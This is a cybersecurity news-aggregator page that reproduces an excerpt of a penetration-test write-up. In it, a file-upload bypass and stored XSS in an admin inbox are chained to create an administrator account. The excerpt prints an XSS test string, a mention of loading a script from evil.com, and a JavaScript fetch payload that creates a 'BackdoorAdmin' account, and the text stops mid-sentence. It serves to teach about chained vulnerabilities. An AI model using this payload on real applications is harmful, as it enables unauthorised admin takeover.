Security News

Cybersecurity news aggregator

🔓
MEDIUM Vulnerabilities Reddit r/netsec

Chaining file upload bypass and stored XSS to create admin accounts: walkthrough with Docker PoC lab

  • What: Exploiting file upload bypass and stored XSS to create admin accounts
  • Impact: Web application security risks
Read Full Article →

Table of Contents Two medium-severity findings. No critical vulnerabilities anywhere in the report. And we created an admin account in the client’s application without anyone noticing. That’s the problem with scoring vulnerabilities in isolation. The target # We were brought in to test a SaaS platform used by businesses for internal operations. Standard web app pen test, authenticated testing across multiple user roles, looking at the usual suspects: access controls, input validation, session management, business logic. The application was well built. Nothing fell over immediately. The client had invested in development and most of the obvious stuff was handled. No SQL injection, no broken authentication on the login flow, role-based access controls were solid. They had CSRF tokens on state-changing forms, a Content Security Policy restricting script sources, and CORS headers locked down to the application’s own origin. The security headers alone put them ahead of most applications we test. But “mostly solid” is where things get interesting. Finding 1: File upload bypass # The platform had a file upload feature. Users could attach PDFs to records, supporting documents and reports mostly. The upload form restricted file selection to PDFs only. Click the upload button and your file browser filters to .pdf files. Standard accept=".pdf" attribute on the input element. From a UX perspective, it worked fine. From a security perspective, it was the only line of defence. The server accepted whatever you sent it. No file type validation. No content inspection. No extension checking. The accept attribute on an HTML input is a browser-side suggestion, not a security control. Anyone with a proxy or a curl command bypasses it entirely. We uploaded a .js file. The server stored it in the database as a BLOB, recorded the original filename, and assigned it a file ID. No complaints, no errors, just a quiet “upload successful” with the ID on screen. Not exploitable on its own. The files lived in the database, not on the filesystem, so there was no path to direct code execution. You couldn’t navigate to a URL and trigger the script. But the application had a download endpoint, /api/download.php?file_id=X , that would pull the file from the database and serve it back to the browser. Our .js file was now fetchable via a simple GET request. The server helpfully set the content type to whatever had been submitted during upload. Here’s the bit we cared about: this endpoint lived on the same origin as the application. Anything fetched from it gets treated as same-origin by the browser. No CORS preflight. No CSP violation for the fetch. The application was hosting attacker-controlled content on its own domain and had no idea. Interesting, but not dangerous by itself. We noted it and moved on. Finding 2: Stored XSS in the messaging system # The platform had an internal messaging feature. Users could send messages to administrators with a subject line and body text. The body field was properly sanitised on output. The subject field was not. Any HTML or JavaScript injected into the subject was stored in the database exactly as submitted and rendered straight into the page when an admin opened their inbox. No input sanitisation, no output encoding. Raw content into the DOM. We confirmed it with a <script>alert(1)</script> in the subject line. Admin views the inbox, the alert fires. Classic stored XSS with an admin-context trigger. Stored XSS in an admin panel is dangerous. You’ve got JavaScript execution in their browser session. But what do you actually do with it? The typical play is stealing session cookies, though HttpOnly flags can limit that. You could deface the admin panel, but that’s noisy and low value. You could load an external script from a server you control, but the CSP would block that. We needed a payload worth delivering, hosted somewhere the browser already trusted. We already had one sitting in the database. The chain # Two medium-severity findings. Watch what happens when you stop treating them as separate issues. Step 1: Upload the payload # The obvious approach is hosting a malicious script on a server we control and pointing the XSS at it. Load https://evil.com/payload.js , job done. Except this application had a CSP that restricted script sources to its own origin. The browser would refuse to fetch anything from an external domain. CORS was locked down too, so even a fetch to our server would get blocked before it left the page. We couldn’t host the payload externally. We needed somewhere same-origin. The file upload gave us that. We wrote a JavaScript file that creates a new admin account when executed: fetch ( "/api/manage-user.php" , { headers : { "Content-Type" : "application/x-www-form-urlencoded" }, body : "display_name=BackdoorAdmin&role=admin&email=attacker@evil.com&password=Compromised1!" , method : "POST" }); Uploaded it as payload.js through the file upload feature. The server accepted it without ques...

Share this article